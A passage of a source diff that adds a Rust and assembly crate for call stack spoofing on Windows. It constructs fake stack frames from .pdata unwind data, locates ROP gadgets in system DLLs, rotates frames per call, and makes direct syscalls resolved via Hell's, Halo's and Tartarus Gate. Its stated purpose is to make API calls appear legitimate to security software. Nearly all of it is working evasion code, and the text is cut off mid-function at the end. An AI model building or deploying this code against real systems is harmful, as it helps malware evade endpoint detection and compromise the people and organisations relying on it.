cmp rax, 9 + jb skip_9 + mov r10, [r12].Config.Arg09 + mov [r13 + 48h], r10 + +skip_9: + cmp rax, 10 + jb skip_10 + mov r10, [r12].Config.Arg10 + mov [r13 + 50h], r10 + +skip_10: + cmp rax, 11 + jb skip_11 + mov r10, [r12].Config.Arg11 + mov [r13 + 58h], r10 + +skip_11: + cmp [r12].Config.IsSyscall, 1 + je ExecuteSyscallSynthetic + + jmp ExecuteSynthetic +ParametersSynthetic ENDP + +RestoreSynthetic PROC + mov rsp, rbp + add rsp, 210h + pop r15 + pop r13 + pop r12 + pop rbx + pop rbp + ret +RestoreSynthetic ENDP + +ExecuteSynthetic PROC + jmp QWORD PTR r11 +ExecuteSynthetic ENDP + +ExecuteSyscallSynthetic PROC + mov r10, rcx + mov eax, [r12].Config.Ssn + jmp QWORD PTR r11 +ExecuteSyscallSynthetic ENDP + +END diff --git a/crates/uwd/build.rs b/crates/uwd/build.rs new file mode 100644 index 0000000..282fae6 --- /dev/null +++ b/crates/uwd/build.rs @@ -0,0 +1,34 @@ +use std::{env, process::Command}; + +fn main() { + let target = env::var("TARGET").unwrap(); + let out_dir = env::var("OUT_DIR").unwrap(); + let spoof_uwd = env::var("CARGO_FEATURE_SPOOF_UWD").is_ok(); + + if target.contains("x86_64") { + if spoof_uwd { + let spoof_synthetic_obj = format!("{}/spoof_synthetic.o", out_dir); + + let status = Command::new("nasm") + .args(&[ + "-f", + "win64", + "asm/x64/spoof/gnu/synthetic.asm", + "-o", + &spoof_synthetic_obj, + ]) + .status() + .expect("Failed to assemble synthetic.asm"); + + if !status.success() { + panic!("Failed to assemble asm/x64/spoof/gnu/synthetic.asm"); + } + + cc::Build::new().object(&spoof_synthetic_obj).compile("asm"); + } + } else { + panic!("Unsupported target: {}", target); + } + + println!("cargo:rerun-if-changed=asm/x64/spoof/gnu/synthetic.asm"); +} diff --git a/crates/uwd/src/lib.rs b/crates/uwd/src/lib.rs new file mode 100644 index 0000000..ca8531e --- /dev/null +++ b/crates/uwd/src/lib.rs @@ -0,0 +1,223 @@ +//! UWD (UnWinDer-based) call stack spoofing. +//! +//! Constructs synthetic stack frames that pass `RtlVirtualUnwind` validation, +//! making spoofed API calls appear to originate from legitimate Windows call chains. +//! +//! # Architecture +//! +//! ```text +//! ┌─────────────┐ ┌──────────────┐ ┌──────────────────┐ +//! │ lib.rs │ │ stack.rs │ │ types.rs │ +//! │ macros │───►│ .pdata scan │───►│ Config struct │ +//! │ spoof_uwd! │ │ frame build │ │ UNWIND_INFO │ +//! │ spoof_sc! │ │ gadget find │ │ FramePool │ +//! └──────┬──────┘ └──────────────┘ └──────────────────┘ +//! │ +//! ▼ +//! ASM stub (SpoofSynthetic) +//! │ +//! ▼ +//! Target function executes with spoofed call stack +//! ``` +//! +//! # Modules +//! +//! - [`stack`] - .pdata parsing, frame size calculation, gadget/prolog scanning, config building +//! - [`types`] - `Config`, `UNWIND_INFO`/`UNWIND_CODE`, `FramePool`, `FrameCandidate` +//! - `ntdef` - Shared PE types, Windows definitions, and `memmem` (external crate) +//! - [`syscall`] - SSN resolution via Hell's/Halo's/Tartarus Gate (feature-gated) +//! +//! # Feature flags +//! +//! - `spoof-uwd` - Enables the [`spoof_uwd!`] macro and `SpoofSynthetic` extern. +//! - `spoof-syscall` - Enables the [`syscall`] module and [`spoof_syscall!`] macro +//! for direct syscall dispatch with stack spoofing. + +#![no_std] +#![allow( + non_snake_case, + non_camel_case_types, + non_upper_case_globals, + dead_code, + unused_imports +)] + +/// Synthetic stack frame construction: .pdata parsing, gadget scanning, config building. +pub mod stack; + +/// Data structures for the ASM spoof stub: `Config`, `UNWIND_INFO`, `FramePool`. +pub mod types; + +/// SSN resolution for direct syscalls (Hell's Gate, Halo's Gate, Tartarus Gate). +#[cfg(feature = "spoof-syscall")] +pub mod syscall; + +pub use { + stack::{build_config, build_syscall_config, rotate_config}, + types::Config, +}; + +// --------------------------------------------------------------------------- +// ASM entry point - linked from the NASM object built by build.rs +// --------------------------------------------------------------------------- +#[cfg(feature = "spoof-uwd")] +extern "C" { + /// ASM stub that builds synthetic stack frames and dispatches the spoofed call. + pub fn SpoofSynthetic(config: *mut Config) -> *const core::ffi::c_void; +} + +// --------------------------------------------------------------------------- +// Self-referential re-export module for $crate resolution in macros. +// +// When `api` re-exports `spoof_uwd!`, the macro's `$crate` still resolves to +// `uwd`. The macro uses `$crate::spoof::uwd::types::Config` etc., so we need +// this path to exist within `uwd` itself. +// --------------------------------------------------------------------------- +#[doc(hidden)] +pub mod spoof { + pub mod uwd { + #[cfg(feature = "spoof-syscall")] + pub use crate::syscall; + pub use crate::{ + stack::{build_config, build_syscall_config, rotate_config}, + types, + }; + } +} + +/// Executes a function call with UWD call stack spoofing. +/// +/// Copies the shared `Config`, rotates frame candidates via `rdtsc` entropy, +/// loads the target function and arguments, then calls the ASM stub +/// `SpoofSynthetic` which builds synthetic stack frames and executes the call. +/// +/// # Arguments +/// +/// * `$config` - `&Config` - pre-built configuration from [`build_config`] +/// * `$func` - Target function pointer to call +/// * `$arg...` - Up to 11 arguments passed to the target function +/// +/// # Returns +/// +/// The return value from `SpoofSynthetic` (the target function's return value +/// as `*const c_void`). +/// +/// # Example +/// +/// ```ignore +/// let result = spoof_uwd!(&config, some_api_fn, arg1, arg2, arg3); +/// ``` +#[cfg(feature = "spoof-uwd")] +#[macro_export] +macro_rules! spoof_uwd { + ($config:expr, $func:expr $(, $arg:expr)* $(,)?) => {{ + use core::ffi::c_void; + let mut config: $crate::spoof::uwd::types::Config = *$config; + + unsafe { $crate::spoof::uwd::rotate_config(&mut config); } + + config.spoof_function = $func as *const c_void; + config.is_syscall = 0; + + config.arg01 = core::ptr::null(); + config.arg02 = core::ptr::null(); + config.arg03 = core::ptr::null(); + config.arg04 = core::ptr::null(); + config.arg05 = core::ptr::null(); + config.arg06 = core::ptr::null(); + config.arg07 = core::ptr::null(); + config.arg08 = core::ptr::null(); + config.arg09 = core::ptr::null(); + config.arg10 = core::ptr::null(); + config.arg11 = core::ptr::null(); + + let args: &[*const c_void] = &[$($arg as *const c_void),*]; + config.number_args = args.len() as u64; + + if args.len() > 0 { config.arg01 = args[0]; } + if args.len() > 1 { config.arg02 = args[1]; } + if args.len() > 2 { config.arg03 = args[2]; } + if args.len() > 3 { config.arg04 = args[3]; } + if args.len() > 4 { config.arg05 = args[4]; } + if args.len() > 5 { config.arg06 = args[5]; } + if args.len() > 6 { config.arg07 = args[6]; } + if args.len() > 7 { config.arg08 = args[7]; } + if args.len() > 8 { config.arg09 = args[8]; } + if args.len() > 9 { config.arg10 = args[9]; } + if args.len() > 10 { config.arg11 = args[10]; } + + $crate::SpoofSynthetic(&mut config) + }}; +} + +/// Executes a direct syscall with UWD call stack spoofing. +/// +/// Like [`spoof_uwd!`] but resolves the SSN (System Service Number) and +/// `syscall` instruction address from the ntdll stub, then dispatches +/// directly via the `syscall` instruction instead of calling through ntdll. +/// +/// # Resolution flow +/// +/// ```text +/// func_addr (ntdll stub) ──► ssn() ──► SSN (u16) +/// ──► get_syscall_address ──► syscall;ret addr +/// ``` +/// +/// # Arguments +/// +/// * `$config` - `&Config` - pre-built configuration from [`build_syscall_config`] +/// * `$func` - Pointer to the ntdll stub (e.g., `NtAllocateVirtualMemory`) +/// * `$arg...` - Up to 11 arguments passed to the syscall +/// +/// # Returns +/// +/// The syscall return value (NTSTATUS as `*const c_void`). +#[cfg(feature = "spoof-syscall")] +#[macro_export] +macro_rules! spoof_syscall { + ($config:expr, $func:expr $(, $arg:expr)* $(,)?) => {{ + use core::ffi::c_void; + let mut config: $crate::spoof::uwd::types::Config = *$config; + + unsafe { $crate::spoof::uwd::rotate_config(&mut config); } + + let func_addr = $func as *const u8; + let ssn = unsafe { $crate::spoof::uwd::syscall::ssn(func_addr) } + .unwrap_or(0); + let syscall_addr = unsafe { $crate::spoof::uwd::syscall::get_syscall_address(func_addr) } + .unwrap_or(func_addr as *const c_void); + + config.spoof_function = syscall_addr; + config.is_syscall = 1; + config.ssn = ssn as u32; + + config.arg01 = core::ptr::null(); + config.arg02 = core::ptr::null(); + config.arg03 = core::ptr::null(); + config.arg04 = core::ptr::null(); + config.arg05 = core::ptr::null(); + config.arg06 = core::ptr::null(); + config.arg07 = core::ptr::null(); + config.arg08 = core::ptr::null(); + config.arg09 = core::ptr::null(); + config.arg10 = core::ptr::null(); + config.arg11 = core::ptr::null(); + + let args: &[*const c_void] = &[$($arg as *const c_void),*]; + config.number_args = args.len() as u64; + + if args.len() > 0 { config.arg01 = args[0]; } + if args.len() > 1 { config.arg02 = args[1]; } + if args.len() > 2 { config.arg03 = args[2]; } + if args.len() > 3 { config.arg04 = args[3]; } + if args.len() > 4 { config.arg05 = args[4]; } + if args.len() > 5 { config.arg06 = args[5]; } + if args.len() > 6 { config.arg07 = args[6]; } + if args.len() > 7 { config.arg08 = args[7]; } + if args.len() > 8 { config.arg09 = args[8]; } + if args.len() > 9 { config.arg10 = args[9]; } + if args.len() > 10 { config.arg11 = args[10]; } + + $crate::SpoofSynthetic(&mut config) + }}; +} diff --git a/crates/uwd/src/stack.rs b/crates/uwd/src/stack.rs new file mode 100644 index 0000000..76f2a47 --- /dev/null +++ b/crates/uwd/src/stack.rs @@ -0,0 +1,1380 @@ +//! Synthetic stack frame construction for UWD call stack spoofing. +//! +//! This module handles everything needed to build fake call stacks that +//! fool Windows' stack unwinder (`RtlVirtualUnwind`): +//! +//! 1. **Parse .pdata** - Find `RUNTIME_FUNCTION` entries for a module +//! 2. **Get frame sizes** - Walk `UNWIND_INFO`/`UNWIND_CODE` to calculate stack sizes +//! 3. **Find gadgets** - Locate `jmp [rbx]` and `add rsp, X; ret` in legit modules +//! 4. **Find prologs** - Locate SET_FPREG and push-RBP functions for synthetic frames +//! 5. **Rotate frames** - Per-call rotation using `rdtsc` entropy +//! 6. **Build config** - Orchestrate all steps into a `Config` for the ASM stub +//! +//! # How the stack unwinder works +//! +//! Windows uses the `.pdata` section to unwind call stacks. Each function has a +//! `RUNTIME_FUNCTION` entry describing its stack frame layout. We read these same +//! entries to construct synthetic frames with correct sizes, making the unwinder +//! believe the call chain is legitimate. +//! +//! ```text +//! UWD-spoofed stack (what Software sees): +//! +//! RSP ──► ┌──────────────────────────┐ +//! │ kernelbase!FuncA │ ← Software: "looks normal" +//! ├──────────────────────────┤ +//! │ kernel32!FuncB │ +//! ├──────────────────────────┤ +//! │ kernel32!BaseThunk │ +//! ├──────────────────────────┤ +//! │ ntdll!RtlUserStart │ ← Standard thread root +//! └──────────────────────────┘ +//! ``` +//! +//! # References +//! +//! - Microsoft x64 exception handling: https://learn.microsoft.com/en-us/cpp/build/exception-handling-x64 +//! - SilentMoonwalk: https://github.com/klezVirus/SilentMoonwalk +//! - UWD POC: poc/uwd/src/uwd.rs + +use { + super::types::*, + core::ffi::c_void, + ntdef::windows::{ + IMAGE_DIRECTORY_ENTRY_EXCEPTION, IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_NT_HEADERS, + IMAGE_NT_SIGNATURE, IMAGE_RUNTIME_FUNCTION_ENTRY, + }, +}; + +/// Find the first occurrence of `needle` in `haystack` (byte-level substring search). +#[link_section = ".text$E"] +fn memmem(haystack: &[u8], needle: &[u8]) -> Option { + let h_len = haystack.len(); + let n_len = needle.len(); + if n_len == 0 || n_len > h_len { + return None; + } + + let h_ptr = haystack.as_ptr(); + let n_ptr = needle.as_ptr(); + + let mut i = 0usize; + while i <= h_len - n_len { + let mut j = 0usize; + while j < n_len { + if unsafe { *h_ptr.add(i + j) != *n_ptr.add(j) } { + break; + } + j += 1; + } + if j == n_len { + return Some(i); + } + i += 1; + } + + None +} +// ============================================================================= +// Step 1: Parse .pdata section +// ============================================================================= + +/// Locates the `.pdata` (Exception Directory) section in a PE module. +/// +/// The `.pdata` section contains an array of `RUNTIME_FUNCTION` entries - one +/// per function in the module. Each entry maps a function's address range to +/// its `UNWIND_INFO`, which describes how the stack unwinder should process it. +/// +/// # How it works +/// +/// ```text +/// PE Header +/// └─► OptionalHeader +/// └─► DataDirectory[3] ← IMAGE_DIRECTORY_ENTRY_EXCEPTION +/// ├─ VirtualAddress ───────► Start of RUNTIME_FUNCTION array +/// └─ Size ─────────────────► Total bytes / 12 = number of entries +/// ``` +/// +/// # Arguments +/// +/// * `module_base` - Base address of a loaded PE module (e.g., ntdll.dll) +/// +/// # Returns +/// +/// * `Some((ptr, count))` - Pointer to the RUNTIME_FUNCTION array and entry count +/// * `None` - If PE validation fails or no .pdata section exists +/// +/// # Safety +/// +/// `module_base` must point to a valid, loaded PE image in memory. +#[link_section = ".text$E"] +pub unsafe fn find_pdata( + module_base: *mut u8, +) -> Option<(*const IMAGE_RUNTIME_FUNCTION_ENTRY, usize)> { + // Validate DOS header (every PE starts with "MZ") + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { + return None; + } + + // Validate NT headers (e_lfanew points from DOS header to "PE\0\0") + let nt_header = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS; + if (*nt_header).Signature != IMAGE_NT_SIGNATURE { + return None; + } + + // Read the Exception Directory entry (index 3 in DataDirectory) + // This points to the .pdata section containing RUNTIME_FUNCTION entries + let data_dir = (*nt_header).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; + + if data_dir.VirtualAddress == 0 || data_dir.Size == 0 { + return None; + } + + // Calculate pointer to the RUNTIME_FUNCTION array and number of entries + // Each RUNTIME_FUNCTION is 12 bytes: BeginAddress(4) + EndAddress(4) + UnwindInfoAddress(4) + let address = (module_base as usize + data_dir.VirtualAddress as usize) + as *mut IMAGE_RUNTIME_FUNCTION_ENTRY; + let length = data_dir.Size as usize / core::mem::size_of::(); + + Some((address, length)) +} + +// ============================================================================= +// Step 2: Parse UNWIND_INFO to get frame sizes +// ============================================================================= + +/// Calculates the total stack frame size of a function by parsing its UNWIND_INFO. +/// +/// This is the core of UWD. The stack unwinder uses this same data to walk the +/// call stack, so getting the exact frame size is critical for building synthetic +/// frames that pass validation. +/// +/// # How it works +/// +/// Each function's prologue modifies RSP in specific ways. The UNWIND_INFO records +/// every modification as an UNWIND_CODE entry. We walk all entries and sum up the +/// total stack space allocated: +/// +/// ```text +/// Example function prologue: UNWIND_CODE: Stack change: +/// ───────────────────────── ────────────── ───────────── +/// push rbp UWOP_PUSH_NONVOL(RBP) +8 bytes +/// push rsi UWOP_PUSH_NONVOL(RSI) +8 bytes +/// push rdi UWOP_PUSH_NONVOL(RDI) +8 bytes +/// sub rsp, 0x20 UWOP_ALLOC_SMALL(3) +32 bytes (OpInfo+1)*8 +/// ─────────── +/// Total: 56 bytes (0x38) +/// ``` +/// +/// # Multi-slot opcodes +/// +/// Some opcodes are too large to fit in a single 2-byte UNWIND_CODE slot: +/// +/// ```text +/// UWOP_ALLOC_LARGE (OpInfo=0): size in next slot * 8 → consumes 2 slots +/// UWOP_ALLOC_LARGE (OpInfo=1): full 32-bit size in next 2 → consumes 3 slots +/// UWOP_SAVE_NONVOL: offset in next slot → consumes 2 slots +/// UWOP_SAVE_NONVOL_BIG: 32-bit offset in next 2 → consumes 3 slots +/// UWOP_SAVE_XMM128: offset in next slot → consumes 2 slots +/// UWOP_SAVE_XMM128BIG: 32-bit offset in next 2 → consumes 3 slots +/// ``` +/// +/// # Chained unwind info +/// +/// When `UNW_FLAG_CHAININFO` is set in the flags, the function's unwind info is +/// split across multiple RUNTIME_FUNCTION entries. A chained RUNTIME_FUNCTION +/// follows the UNWIND_CODE array, and its frame size is added recursively: +/// +/// ```text +/// UNWIND_INFO (flags: CHAININFO) +/// ├─ UnwindCode[0..n] ← partial frame size +/// └─ RUNTIME_FUNCTION (chained) ← points to another UNWIND_INFO +/// └─ UnwindCode[0..m] ← remaining frame size +/// Total = partial + remaining +/// ``` +/// +/// # Arguments +/// +/// * `module_base` - Base address of the PE module (used to resolve RVAs) +/// * `runtime_func` - The RUNTIME_FUNCTION entry to parse +/// +/// # Returns +/// +/// * `Some(size)` - Total stack frame size in bytes +/// * `None` - If an unknown opcode is encountered +/// +/// # Safety +/// +/// `module_base` must point to a valid PE, and `runtime_func` must be a valid +/// entry from that module's .pdata section. +#[link_section = ".text$E"] +pub unsafe fn get_frame_size( + module_base: usize, + runtime_func: &IMAGE_RUNTIME_FUNCTION_ENTRY, +) -> Option { + // Follow the UnwindInfoAddress RVA to the UNWIND_INFO header + let unwind_info = (module_base + runtime_func.UnwindInfoAddress as usize) as *const UNWIND_INFO; + + // Get pointer to the UNWIND_CODE array (immediately after the 4-byte header) + let codes = (*unwind_info).codes(); + + let mut i = 0usize; + let mut total_stack = 0u32; + + // Walk each UNWIND_CODE entry and accumulate stack allocations + while i < (*unwind_info).CountOfCodes as usize { + let code = &(*codes.add(i)).Anonymous; + let op_info = code.OpInfo() as usize; + + match UNWIND_OP_CODES::try_from(code.UnwindOp()) { + // push - each register push adds 8 bytes to the frame + Ok(UNWIND_OP_CODES::UWOP_PUSH_NONVOL) => { + total_stack += 8; + i += 1; + } + + // sub rsp, - OpInfo encodes size as (OpInfo + 1) * 8 + // Range: 8 to 128 bytes (OpInfo 0-15) + Ok(UNWIND_OP_CODES::UWOP_ALLOC_SMALL) => { + total_stack += ((op_info + 1) * 8) as u32; + i += 1; + } + + // sub rsp, - size stored in following slot(s) + Ok(UNWIND_OP_CODES::UWOP_ALLOC_LARGE) => { + if code.OpInfo() == 0 { + // 16-bit size in next slot, multiplied by 8 + total_stack += (*codes.add(i + 1)).FrameOffset as u32 * 8; + i += 2; + } else { + // Full 32-bit size in next two slots (not multiplied) + total_stack += *(codes.add(i + 1) as *const u32); + i += 3; + } + } + + // lea rbp, [rsp+offset] - sets frame pointer, no stack allocation + Ok(UNWIND_OP_CODES::UWOP_SET_FPREG) => i += 1, + + // mov [rsp+off], - saves register, no stack change (1 extra slot for offset) + Ok(UNWIND_OP_CODES::UWOP_SAVE_NONVOL) => i += 2, + + // Same as SAVE_NONVOL but with 32-bit offset (2 extra slots) + Ok(UNWIND_OP_CODES::UWOP_SAVE_NONVOL_BIG) => i += 3, + + // movaps [rsp+off], xmm - saves XMM register (1 extra slot) + Ok(UNWIND_OP_CODES::UWOP_SAVE_XMM128) => i += 2, + + // Same as SAVE_XMM128 but with 32-bit offset (2 extra slots) + Ok(UNWIND_OP_CODES::UWOP_SAVE_XMM128BIG) => i += 3, + + // Epilog / spare codes - informational only, skip + Ok(UNWIND_OP_CODES::UWOP_EPILOG) | Ok(UNWIND_OP_CODES::UWOP_SPARE_CODE) => i += 1, + + // Machine frame (hardware interrupt/exception) + // OpInfo=0: pushes 5 values (SS, RSP, RFLAGS, CS, RIP) = 0x40 bytes + // OpInfo=1: same + error code = 0x48 bytes + Ok(UNWIND_OP_CODES::UWOP_PUSH_MACH_FRAME) => { + total_stack += if op_info == 0 { 0x40 } else { 0x48 }; + i += 1; + } + + // Unknown opcode - can't determine frame size + _ => return None, + } + } + + // Handle chained unwind info: + // If UNW_FLAG_CHAININFO is set, another RUNTIME_FUNCTION sits after the + // codes array. Its frame size adds to ours (the function's prologue was + // split across multiple unwind entries). + if ((*unwind_info).flags() & UNW_FLAG_CHAININFO) != 0 { + total_stack += get_frame_size(module_base, &*(*unwind_info).chained_entry())?; + } + + Some(total_stack) +} + +// ============================================================================= +// Step 3: Find ROP gadgets in legitimate modules +// ============================================================================= + +/// Result of a successful gadget search. +/// +/// Contains the gadget's absolute address and the stack frame size of the +/// function it lives in. The frame size is needed so UWD can allocate the +/// correct amount of synthetic stack space for the unwinder to traverse. +/// +/// ```text +/// kernelbase.dll +/// ├─ SomeFunction (frame_size = 0x58) +/// │ ├─ push rbp +/// │ ├─ sub rsp, 0x48 +/// │ ├─ ... +/// │ ├─ add rsp, 0x58; ret ← gadget found here! +/// │ └─ ... +/// └─ RUNTIME_FUNCTION → UNWIND_INFO → frame_size = 0x58 +/// ``` +pub struct GadgetResult { + /// Absolute address of the gadget in memory. + pub address: *const u8, + /// Stack frame size of the function containing the gadget. + pub frame_size: u32, +} + +/// Searches for a byte pattern (gadget) within the executable code of a module. +/// +/// This scans every function in the module's `.pdata` table, reading the raw +/// bytes between `BeginAddress` and `EndAddress` for each `RUNTIME_FUNCTION` +/// entry. If the pattern is found, the function's frame size is computed via +/// `get_frame_size` to ensure it's a valid, parseable function. +/// +/// # Why restrict to RUNTIME_FUNCTION boundaries? +/// +/// Gadgets found outside of known function boundaries are useless because: +/// 1. The unwinder can't find an UNWIND_INFO for them +/// 2. Without valid unwind data, `RtlVirtualUnwind` can't traverse the frame +/// 3. Software would flag the broken unwind chain +/// +/// # What gadgets does UWD need? +/// +/// ```text +/// Gadget 1: jmp [rbx] (bytes: FF 23) +/// - Used to redirect execution through RBX register +/// - The ASM stub loads the target function address into [rbx] +/// - This gadget transfers control without a CALL (no return address pushed) +/// +/// Gadget 2: add rsp, 0x58; ret (bytes: 48 83 C4 58 C3) +/// - Cleans up a synthetic frame by adjusting RSP +/// - The `ret` pops the next synthetic return address +/// - The 0x58 must match the frame size of the function containing the gadget +/// +/// Stack flow with gadgets: +/// +/// RSP ──► ┌──────────────────────┐ +/// │ jmp [rbx] gadget │ ← redirects to target function +/// ├──────────────────────┤ +/// │ (frame padding) │ ← sized to match UNWIND_INFO +/// ├──────────────────────┤ +/// │ add rsp, 0x58; ret │ ← cleans up frame, chains to next +/// ├──────────────────────┤ +/// │ (more frames...) │ +/// └──────────────────────┘ +/// ``` +/// +/// # Arguments +/// +/// * `module_base` - Base address of the PE module to scan +/// * `pattern` - Byte pattern to search for (e.g., `&[0xFF, 0x23]` for `jmp [rbx]`) +/// * `pdata` - Pointer to the module's RUNTIME_FUNCTION array +/// * `pdata_count` - Number of entries in the RUNTIME_FUNCTION array +/// +/// # Returns +/// +/// * `Some(GadgetResult)` - First valid gadget found with its frame size +/// * `None` - Pattern not found in any valid function +/// +/// # Safety +/// +/// `module_base` must be a valid loaded PE, and `pdata`/`pdata_count` must +/// describe a valid RUNTIME_FUNCTION array from that module. + +// ============================================================================= +// Step 3b: Find a function's RUNTIME_FUNCTION entry by RVA +// ============================================================================= + +/// Finds the RUNTIME_FUNCTION entry for a function at a given RVA. +/// +/// The `.pdata` array is sorted by `BeginAddress` (Windows guarantees this), +/// so we use a linear scan checking if the RVA falls within each entry's +/// `[BeginAddress, EndAddress)` range. +/// +/// # Why do we need this? +/// +/// To populate the `Config` struct, we need the frame sizes of specific +/// functions like `RtlUserThreadStart` and `BaseThreadInitThunk`. We know +/// their absolute addresses (from API resolution), so we convert to RVA +/// and look up their RUNTIME_FUNCTION entry to parse their UNWIND_INFO. +/// +/// ```text +/// RtlUserThreadStart address = ntdll_base + RVA +/// RVA = address - ntdll_base +/// +/// .pdata scan: +/// entry[0]: Begin=0x1000 End=0x1100 ← no +/// entry[1]: Begin=0x1100 End=0x1200 ← no +/// entry[N]: Begin=0xABC0 End=0xABF0 ← RVA falls here! ✓ +/// ``` +/// +/// # Arguments +/// +/// * `rva` - Relative Virtual Address of the function (address - module_base) +/// * `pdata` - Pointer to the module's RUNTIME_FUNCTION array +/// * `pdata_count` - Number of entries in the array +/// +/// # Returns +/// +/// Reference to the matching RUNTIME_FUNCTION entry, or `None` if not found. +#[link_section = ".text$E"] +pub unsafe fn find_runtime_entry( + rva: u32, + pdata: *const IMAGE_RUNTIME_FUNCTION_ENTRY, + pdata_count: usize, +) -> Option<*const IMAGE_RUNTIME_FUNCTION_ENTRY> { + let entries = core::slice::from_raw_parts(pdata, pdata_count); + + for entry in entries { + if rva >= entry.BeginAddress && rva < entry.EndAddress { + return Some(entry as *const _); + } + } + + None +} + +#[link_section = ".text$E"] +pub unsafe fn find_gadget( + module_base: usize, + pattern: &[u8], + pdata: *const IMAGE_RUNTIME_FUNCTION_ENTRY, + pdata_count: usize, +) -> Option { + let entries = core::slice::from_raw_parts(pdata, pdata_count); + + for entry in entries { + // Calculate the absolute address range of this function's code + let func_start = module_base + entry.BeginAddress as usize; + let func_end = module_base + entry.EndAddress as usize; + let func_size = func_end.saturating_sub(func_start); + + if func_size < pattern.len() { + continue; + } + + // Read the function's raw code bytes + let code = core::slice::from_raw_parts(func_start as *const u8, func_size); + + // Search for the pattern in this function's code + if let Some(offset) = memmem(code, pattern) { + // Verify the function has valid unwind data and get its frame size + if let Some(frame_size) = get_frame_size(module_base, entry) { + // Skip functions with zero frame size - they're leaf functions + // and won't produce valid synthetic frames + if frame_size == 0 { + continue; + } + + let gadget_addr = (func_start + offset) as *const u8; + return Some(GadgetResult { + address: gadget_addr, + frame_size, + }); + } + } + } + + None +} + +// ============================================================================= +// Step 3c: Multi-result finders for per-call frame rotation +// ============================================================================= + +/// Searches for up to `POOL_SIZE` gadgets matching a byte pattern. +/// +/// Same logic as `find_gadget` but collects multiple results into a +/// `FrameCandidate` array for per-call rotation. Stops after `POOL_SIZE` +/// candidates are found. +#[link_section = ".text$E"] +pub unsafe fn find_gadgets( + module_base: usize, + pattern: &[u8], + pdata: *const IMAGE_RUNTIME_FUNCTION_ENTRY, + pdata_count: usize, + results: &mut [FrameCandidate; POOL_SIZE], +) -> usize { + let entries = core::slice::from_raw_parts(pdata, pdata_count); + let mut count = 0; + + // Scan every function in .pdata looking for the gadget byte pattern + for entry in entries { + if count >= POOL_SIZE { + break; // Pool full - we have enough candidates + } + + // Convert RVA range to absolute address range for this function + let func_start = module_base + entry.BeginAddress as usize; + let func_end = module_base + entry.EndAddress as usize; + let func_size = func_end.saturating_sub(func_start); + + // Function too small to contain the gadget pattern + if func_size < pattern.len() { + continue; + } + + // Read function body as byte slice and search for pattern + let code = core::slice::from_raw_parts(func_start as *const u8, func_size); + + if let Some(offset) = memmem(code, pattern) { + // Verify the function has valid UNWIND_INFO (required for unwinder traversal) + if let Some(frame_size) = get_frame_size(module_base, entry) { + // Skip leaf functions (zero frame) - unwinder can't traverse them + if frame_size == 0 { + continue; + } + + // Store absolute gadget address and its containing function's frame size + results[count] = FrameCandidate { + addr: (func_start + offset) as *const c_void, + size: frame_size as u64, + rbp_offset: 0, // Gadgets don't use RBP offset + }; + count += 1; + } + } + } + + count +} + +/// Finds up to `POOL_SIZE` SET_FPREG prologs suitable for the first synthetic frame. +/// +/// Same logic as `find_prolog` but collects multiple results for rotation. +#[link_section = ".text$E"] +pub unsafe fn find_prologs( + module_base: usize, + pdata: *const IMAGE_RUNTIME_FUNCTION_ENTRY, + pdata_count: usize, + results: &mut [FrameCandidate; POOL_SIZE], +) -> usize { + let entries = core::slice::from_raw_parts(pdata, pdata_count); + let mut count = 0; + + // Scan every function in .pdata for SET_FPREG prologs + for entry in entries { + if count >= POOL_SIZE { + break; // Pool full + } + + // Check if this function has a SET_FPREG unwind code (uses RBP as frame pointer) + if let Some((has_set_fpreg, stack_size)) = check_stack_frame(module_base, entry) { + // Must have SET_FPREG (required for first frame) and non-zero stack + if !has_set_fpreg || stack_size == 0 { + continue; + } + + // Find a `call [rip+disp32]` instruction to use as a plausible return address + if let Some(offset) = find_valid_instruction_offset(module_base, entry) { + // addr = instruction AFTER the call (where RIP would point on return) + results[count] = FrameCandidate { + addr: (module_base + entry.BeginAddress as usize + offset as usize) + as *const c_void, + size: stack_size as u64, + rbp_offset: 0, // SET_FPREG frames don't track RBP push offset + }; + count += 1; + } + } + } + + count +} + +/// Finds up to `POOL_SIZE` push-RBP prologs suitable for the second synthetic frame. +/// +/// Same logic as `find_push_rbp_prolog` but collects multiple results for rotation. +#[link_section = ".text$E"] +pub unsafe fn find_push_rbp_prologs( + module_base: usize, + pdata: *const IMAGE_RUNTIME_FUNCTION_ENTRY, + pdata_count: usize, + results: &mut [FrameCandidate; POOL_SIZE], +) -> usize { + let entries = core::slice::from_raw_parts(pdata, pdata_count); + let mut count = 0; + + // Skip the first entry (often unsuitable across Windows versions, matches POC) + for entry in entries.iter().skip(1) { + if count >= POOL_SIZE { + break; // Pool full + } + + // Check if this function pushes/saves RBP, get the RBP stack offset + if let Some((rbp_off, stack_size)) = check_rbp_frame(module_base, entry) { + // Reject: no RBP offset, zero frame, or RBP offset past frame bounds + if rbp_off == 0 || stack_size == 0 || stack_size <= rbp_off { + continue; + } + + // Find a `call [rip+disp32]` for the fake return address + if let Some(offset) = find_valid_instruction_offset(module_base, entry) { + // Store addr + frame size + RBP offset (ASM plants fake RBP at this offset) + results[count] = FrameCandidate { + addr: (module_base + entry.BeginAddress as usize + offset as usize) + as *const c_void, + size: stack_size as u64, + rbp_offset: rbp_off as u64, // Offset where RBP is saved on stack + }; + count += 1; + } + } + } + + count +} + +// ============================================================================= +// Step 3d: Per-call frame rotation +// ============================================================================= + +/// Rotates different prolog candidates into Config before each spoofed call. +/// +/// Uses `rdtsc` (Time Stamp Counter) as per-call entropy so each call +/// presents different intermediate frames to the unwinder. +/// +/// Only prologs rotate (unwinder-only frames). Gadgets are fixed because +/// `add rsp, 0x58` must match the ASM-allocated frame size at runtime. +#[inline(always)] +#[link_section = ".text$E"] +pub unsafe fn rotate_config(config: &mut Config) { + let fc = config.frame_pool.first_count; + let sc = config.frame_pool.second_count; + + // Nothing to rotate if each pool has at most 1 candidate + if fc <= 1 && sc <= 1 { + return; + } + + // Read CPU timestamp counter - changes every call, gives us per-call entropy + let tsc = core::arch::x86_64::_rdtsc() as usize; + + // Rotate first frame (SET_FPREG prolog) using low bits of TSC + if fc > 1 { + let c = config.frame_pool.first_frames[tsc % fc as usize]; + config.first_frame_fp = c.addr; + config.first_frame_size = c.size; + } + + // Rotate second frame (push-RBP prolog) using different bits (>> 8) + // to avoid correlation with first frame selection + if sc > 1 { + let c = 